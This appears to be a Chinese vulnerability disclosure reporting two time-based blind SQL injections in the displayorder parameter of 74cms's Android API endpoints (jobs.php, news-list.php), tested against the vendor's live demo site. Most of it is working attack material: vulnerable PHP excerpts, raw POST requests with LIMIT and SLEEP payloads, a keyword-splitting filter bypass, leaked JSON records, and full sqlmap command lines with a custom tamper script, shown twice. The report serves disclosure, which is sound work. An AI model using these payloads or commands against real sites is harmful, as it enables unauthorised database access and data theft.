### 简要描述:
骑士CMS某接口2处SQL盲注#2(官网demo测试)
### 详细说明:
手机客户端2处接口存在SQL注入,SELECT注入无关键字过滤,理论上可以获取任意数据。
0x01: http://demo.74cms.com/android/jobs.php
=========================================================
对应代码:
```
14 if (!empty($aset['displayorder']))
15 {
16 $arr=explode('>',$aset['displayorder']);
17 $arr[1]=preg_match('/asc|desc/',$arr[1])?$arr[1]:"desc";
18 if ($arr[0]=="rtime")
19 {
20 $orderbysql=" ORDER BY refreshtime {$arr[1]}";
21 $jobstable=table('jobs_search_rtime');
22 }
```
displayorder参数过滤不正确导致SQL注入。
"displayorder":"rtime> limit 1 #desc"返回一行数据:
```
POST /android/jobs.php HTTP/1.1
Host: demo.74cms.com
User-Agent: Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:37.0) Gecko/20100101 Firefox/37.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: null
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Content-Length: 66
Cookie: safedog-flow-item=7308413BC1624F4F2DF983295AAE94E8; PHPSESSID=735536f52f85396245830255c85834c4
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache
req={"androidkey":"123456","displayorder":"rtime> limit 1 #desc"}
```
[<img src="https://images.seebug.org/upload/201504/232223248c9506b0e6a8b0d6d574f6d5ad375789.png" alt="1.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201504/232223248c9506b0e6a8b0d6d574f6d5ad375789.png)
"displayorder":"rtime> limit 2 #desc"返回两行数据:
```
POST /android/jobs.php HTTP/1.1
Host: demo.74cms.com
User-Agent: Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:37.0) Gecko/20100101 Firefox/37.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: null
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Content-Length: 66
Cookie: safedog-flow-item=7308413BC1624F4F2DF983295AAE94E8; PHPSESSID=735536f52f85396245830255c85834c4
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache
req={"androidkey":"123456","displayorder":"rtime> limit 2 #desc"}
```
```
{"result":1,"errormsg":"","list":[{"id":"140","uid":"585","jobs_name":"服装销售员","companyname":"大可为服装有限公司","company_id":"139","company_addtime":"2015-01-06","company_audit":"0","recommend":"0","emergency":"0","highlight":"","stick":"0","nature":"62","nature_cn":"全职","sex":"3","sex_cn":"不限","age":"-","amount":"2","topclass":"74","category":"76","subclass":"0","category_cn":"互联网/网络","trade":"2","trade_cn":"计算机系统/维修","scale":"81","scale_cn":"20-99人","district":"17","sdistrict":"278","district_cn":"河南省/郑州市","street":"0","street_cn":"","education":"66","education_cn":"高中","experience":"75","experience_cn":"1年以下","wage":"55","wage_cn":"面议","negotiable":"0","graduate":"0","contents":"通过在货场与消费者交流向消费者宣传货品和专卖店形象,提高品牌知名度。
随时维护店内形象,确保店内形象...","addtime":"2015-01-06","deadline":"2016-01-06","refreshtime":"2015-01-06","setmeal_deadline":"1970-01-01","setmeal_id":"0","setmeal_name":"","audit":"1","click":"67","add_mode":"1","officebuilding_cn":null,"refreshtime_cn":"1970-01-01"},{"id":"147","uid":"641","jobs_name":"制衣","companyname":"锐创针织制衣厂","company_id":"156","company_addtime":"2015-02-10","company_audit":"0","recommend":"0","emergency":"0","highlight":"","stick":"0","nature":"62","nature_cn":"全职","sex":"3","sex_cn":"不限","age":"-","amount":"5","topclass":"116","category":"122","subclass":"0","category_cn":"服装/纺织品","trade":"14","trade_cn":"服装/纺织/皮革","scale":"81","scale_cn":"20-99人","district":"22","sdistrict":"361","district_cn":"海南省/海口市","street":"0","street_cn":"","education":"66","education_cn":"高中","experience":"75","experience_cn":"1年以下","wage":"55","wage_cn":"面议","negotiable":"0","graduate":"0","contents":"懂制衣车办工艺(能车整件衣服);年龄要求:16-40周岁,身高1.50米以上16-40周岁,身高1.60米以上。素质要求:...","addtime":"2015-02-10","deadline":"2016-02-25","refreshtime":"2015-02-10","setmeal_deadline":"1970-01-01","setmeal_id":"0","setmeal_name":"","audit":"1","click":"45","add_mode":"1","officebuilding_cn":null,"refreshtime_cn":"1970-01-01"}]}
```
[<img src="https://images.seebug.org/upload/201504/23222335ec6580b9556fd172674cacacff01f14f.png" alt="2.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201504/23222335ec6580b9556fd172674cacacff01f14f.png)
SQLMAP跑一跑:
```
$ python sqlmap.py -u "http://demo.74cms.com/android/jobs.php" --data="req={%22androidkey%22: 123456, %22displayorder%22: %22rtime>%23desc%22}" --dbms=mysql --random-agent --prefix="{%22androidkey%22: 123456, %22displayorder%22: %22rtime>" --suffix="%23desc%22}" -p req --tamper=74cmsbetween --proxy="http://127.0.0.1:6666" --test-filter='MySQL >= 5.0.12 AND time-based blind (SELECT)' --delay=1
_
___ ___| |_____ ___ ___ {1.0-dev-7517db7}
|_ -| . | | | .'| . |
|___|_ |_|_|_|_|__,| _|
|_| |_| http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting at 22:24:10
[22:24:10] [INFO] loading tamper script '74cmsbetween'
[22:24:10] [INFO] fetched random HTTP User-Agent header from file '/pub/scm/tools/sqlmap-dev/txt/user-agents.txt': 'Opera/9.10 (Windows NT 6.0; U; it-IT)'
[22:24:10] [INFO] testing connection to the target URL
[22:24:13] [INFO] testing if the target URL is stable. This can take a couple of seconds
[22:24:16] [INFO] target URL is stable
[22:24:18] [WARNING] heuristic (basic) test shows that POST parameter 'req' might not be injectable
[22:24:19] [INFO] testing for SQL injection on POST parameter 'req'
[22:24:19] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (SELECT)'
[22:24:20] [WARNING] time-based comparison requires larger statistical model, please wait..........................
[22:25:19] [INFO] POST parameter 'req' seems to be 'MySQL >= 5.0.12 AND time-based blind (SELECT)' injectable
[22:25:20] [INFO] checking if the injection point on POST parameter 'req' is a false positive
POST parameter 'req' is vulnerable. Do you want to keep testing the others (if any)? [y/N] n
sqlmap identified the following injection points with a total of 35 HTTP(s) requests:
---
Parameter: req (POST)
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
Payload: req={"androidkey": 123456, "displayorder": "rtime> AND (SELECT * FROM (SELECT(SLEEP(5)))rtQx)#desc"}
---
[22:27:28] [WARNING] changes made by tampering scripts are not included in shown payload content(s)
[22:27:28] [INFO] testing MySQL
[22:27:28] [WARNING] it is very important not to stress the network adapter during usage of time-based payloads to prevent potential errors
do you want sqlmap to try to optimize value(s) for DBMS delay responses (option '--time-sec')? [Y/n] n
[22:27:42] [INFO] confirming MySQL
[22:28:04] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.0.0
[22:28:04] [INFO] fetched data logged to text files under '/home/abc/.sqlmap/output/demo.74cms.com'
[*] shutting down at 22:28:04
```
0x02: http://demo.74cms.com/android/news-list.php
=========================================================
```
16 if ($aset['displayorder'])
17 {
18 if (strpos($aset['displayorder'],'>'))
19 {
20 $arr=explode('>',$aset['displayorder']);
21 $arr[0]=preg_match('/article_order|click|id/',$arr[0])?$arr[0]:"";
22 $arr[1]=preg_match('/asc|desc/',$arr[1])?$arr[1]:"";
23 if ($arr[0] && $arr[1])
24 {
25 $orderbysql=" ORDER BY ".$arr[0]." ".$arr[1];
26 }
27 if ($arr[0]=="article_order")
28 {
29 $orderbysql.=" ,id DESC ";
30 }
31 }
32 }
```
displayorder参数过滤不正确导致SQL注入。
"displayorder":"id> limit 1 #desc"返回一行数据:
```
POST /android/news-list.php HTTP/1.1
Host: demo.74cms.com
User-Agent: Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:37.0) Gecko/20100101 Firefox/37.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: null
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Content-Length: 63
Cookie: safedog-flow-item=7308413BC1624F4F2DF983295AAE94E8; PHPSESSID=735536f52f85396245830255c85834c4
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache
req={"androidkey":"123456","displayorder":"id> limit 2 #desc"}
```
[<img src="https://images.seebug.org/upload/201504/23223417c0b2e94f52248c6e70e13d6a8c5aadb7.png" alt="3.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201504/23223417c0b2e94f52248c6e70e13d6a8c5aadb7.png)
"displayorder": "id> abc#desc"返回数据库错误:
```
POST /android/news-list.php HTTP/1.1
Host: demo.74cms.com
User-Agent: Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:37.0) Gecko/20100101 Firefox/37.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: null
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Content-Length: 59
Cookie: safedog-flow-item=7308413BC1624F4F2DF983295AAE94E8; PHPSESSID=735536f52f85396245830255c85834c4
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache
req={"androidkey":"123456","displayorder":"id> abc #desc"}
```
[<img src="https://images.seebug.org/upload/201504/232237211e2c2ce1fb3d42d07dbb95b49ba68caf.png" alt="4.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201504/232237211e2c2ce1fb3d42d07dbb95b49ba68caf.png)
"displayorder": "id> A<A>ND (SE<A>LECT * F<A>ROM (S<A>ELECT(S<A>LEEP(5)))MqQf)#desc"延时5秒返回数据:
[<img src="https://images.seebug.org/upload/201504/23224722ac2d1a2bab8aa8b2e2cb607985410960.png" alt="5.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201504/23224722ac2d1a2bab8aa8b2e2cb607985410960.png)
SQLMAP:
```
$ python sqlmap.py -u "http://demo.74cms.com/android/news-list.php" --data="req={%22androidkey%22: 123456, %22displayorder%22: %22rtime>%23id%22}" --dbms=mysql --random-agent --prefix="{%22androidkey%22: 123456, %22displayorder%22: %22id>" --suffix="%23desc%22}" -p req --tamper=74cmsbetween --proxy="http://127.0.0.1:6666" --test-filter='MySQL >= 5.0.12 AND time-based blind (SELECT)' --delay=1
_
___ ___| |_____ ___ ___ {1.0-dev-7517db7}
|_ -| . | | | .'| . |
|___|_ |_|_|_|_|__,| _|
|_| |_| http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting at 22:38:26
[22:38:26] [INFO] loading tamper script '74cmsbetween'
[22:38:26] [INFO] fetched random HTTP User-Agent header from file '/pub/scm/tools/sqlmap-dev/txt/user-agents.txt': 'Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/0.2.153.0 Safari/525.19'
[22:38:26] [INFO] testing connection to the target URL
[22:38:29] [INFO] testing if the target URL is stable. This can take a couple of seconds
[22:38:31] [INFO] target URL is stable
[22:38:32] [WARNING] heuristic (basic) test shows that POST parameter 'req' might not be injectable
[22:38:34] [INFO] testing for SQL injection on POST parameter 'req'
[22:38:34] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (SELECT)'
[22:38:35] [WARNING] time-based comparison requires larger statistical model, please wait..........................
[22:39:21] [INFO] POST parameter 'req' seems to be 'MySQL >= 5.0.12 AND time-based blind (SELECT)' injectable
[22:39:21] [INFO] checking if the injection point on POST parameter 'req' is a false positive
POST parameter 'req' is vulnerable. Do you want to keep testing the others (if any)? [y/N] n
sqlmap identified the following injection points with a total of 35 HTTP(s) requests:
---
Parameter: req (POST)
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
Payload: req={"androidkey": 123456, "displayorder": "id> AND (SELECT * FROM (SELECT(SLEEP(5)))MqQf)#desc"}
---
[22:40:11] [WARNING] changes made by tampering scripts are not included in shown payload content(s)
[22:40:11] [INFO] testing MySQL
[22:40:11] [WARNING] it is very important not to stress the network adapter during usage of time-based payloads to prevent potential errors
do you want sqlmap to try to optimize value(s) for DBMS delay responses (option '--time-sec')? [Y/n] n
[22:40:20] [INFO] confirming MySQL
[22:40:33] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.0.0
[22:40:33] [INFO] fetched data logged to text files under '/home/abc/.sqlmap/output/demo.74cms.com'
[*] shutting down at 22:40:33
```
### 漏洞证明:
```
$ python sqlmap.py -u "http://demo.74cms.com/android/jobs.php" --data="req={%22androidkey%22: 123456, %22displayorder%22: %22rtime>%23desc%22}" --dbms=mysql --random-agent --prefix="{%22androidkey%22: 123456, %22displayorder%22: %22rtime>" --suffix="%23desc%22}" -p req --tamper=74cmsbetween --proxy="http://127.0.0.1:6666" --test-filter='MySQL >= 5.0.12 AND time-based blind (SELECT)' --delay=1
_
___ ___| |_____ ___ ___ {1.0-dev-7517db7}
|_ -| . | | | .'| . |
|___|_ |_|_|_|_|__,| _|
|_| |_| http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting at 22:24:10
[22:24:10] [INFO] loading tamper script '74cmsbetween'
[22:24:10] [INFO] fetched random HTTP User-Agent header from file '/pub/scm/tools/sqlmap-dev/txt/user-agents.txt': 'Opera/9.10 (Windows NT 6.0; U; it-IT)'
[22:24:10] [INFO] testing connection to the target URL
[22:24:13] [INFO] testing if the target URL is stable. This can take a couple of seconds
[22:24:16] [INFO] target URL is stable
[22:24:18] [WARNING] heuristic (basic) test shows that POST parameter 'req' might not be injectable
[22:24:19] [INFO] testing for SQL injection on POST parameter 'req'
[22:24:19] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (SELECT)'
[22:24:20] [WARNING] time-based comparison requires larger statistical model, please wait..........................
[22:25:19] [INFO] POST parameter 'req' seems to be 'MySQL >= 5.0.12 AND time-based blind (SELECT)' injectable
[22:25:20] [INFO] checking if the injection point on POST parameter 'req' is a false positive
POST parameter 'req' is vulnerable. Do you want to keep testing the others (if any)? [y/N] n
sqlmap identified the following injection points with a total of 35 HTTP(s) requests:
---
Parameter: req (POST)
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
Payload: req={"androidkey": 123456, "displayorder": "rtime> AND (SELECT * FROM (SELECT(SLEEP(5)))rtQx)#desc"}
---
[22:27:28] [WARNING] changes made by tampering scripts are not included in shown payload content(s)
[22:27:28] [INFO] testing MySQL
[22:27:28] [WARNING] it is very important not to stress the network adapter during usage of time-based payloads to prevent potential errors
do you want sqlmap to try to optimize value(s) for DBMS delay responses (option '--time-sec')? [Y/n] n
[22:27:42] [INFO] confirming MySQL
[22:28:04] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.0.0
[22:28:04] [INFO] fetched data logged to text files under '/home/abc/.sqlmap/output/demo.74cms.com'
[*] shutting down at 22:28:04
```
```
$ python sqlmap.py -u "http://demo.74cms.com/android/news-list.php" --data="req={%22androidkey%22: 123456, %22displayorder%22: %22rtime>%23id%22}" --dbms=mysql --random-agent --prefix="{%22androidkey%22: 123456, %22displayorder%22: %22id>" --suffix="%23desc%22}" -p req --tamper=74cmsbetween --proxy="http://127.0.0.1:6666" --test-filter='MySQL >= 5.0.12 AND time-based blind (SELECT)' --delay=1
_
___ ___| |_____ ___ ___ {1.0-dev-7517db7}
|_ -| . | | | .'| . |
|___|_ |_|_|_|_|__,| _|
|_| |_| http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting at 22:38:26
[22:38:26] [INFO] loading tamper script '74cmsbetween'
[22:38:26] [INFO] fetched random HTTP User-Agent header from file '/pub/scm/tools/sqlmap-dev/txt/user-agents.txt': 'Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/0.2.153.0 Safari/525.19'
[22:38:26] [INFO] testing connection to the target URL
[22:38:29] [INFO] testing if the target URL is stable. This can take a couple of seconds
[22:38:31] [INFO] target URL is stable
[22:38:32] [WARNING] heuristic (basic) test shows that POST parameter 'req' might not be injectable
[22:38:34] [INFO] testing for SQL injection on POST parameter 'req'
[22:38:34] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (SELECT)'
[22:38:35] [WARNING] time-based comparison requires larger statistical model, please wait..........................
[22:39:21] [INFO] POST parameter 'req' seems to be 'MySQL >= 5.0.12 AND time-based blind (SELECT)' injectable
[22:39:21] [INFO] checking if the injection point on POST parameter 'req' is a false positive
POST parameter 'req' is vulnerable. Do you want to keep testing the others (if any)? [y/N] n
sqlmap identified the following injection points with a total of 35 HTTP(s) requests:
---
Parameter: req (POST)
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
Payload: req={"androidkey": 123456, "displayorder": "id> AND (SELECT * FROM (SELECT(SLEEP(5)))MqQf)#desc"}
---
[22:40:11] [WARNING] changes made by tampering scripts are not included in shown payload content(s)
[22:40:11] [INFO] testing MySQL
[22:40:11] [WARNING] it is very important not to stress the network adapter during usage of time-based payloads to prevent potential errors
do you want sqlmap to try to optimize value(s) for DBMS delay responses (option '--time-sec')? [Y/n] n
[22:40:20] [INFO] confirming MySQL
[22:40:33] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.0.0
[22:40:33] [INFO] fetched data logged to text files under '/home/abc/.sqlmap/output/demo.74cms.com'
[*] shutting down at 22:40:33
```
暂无评论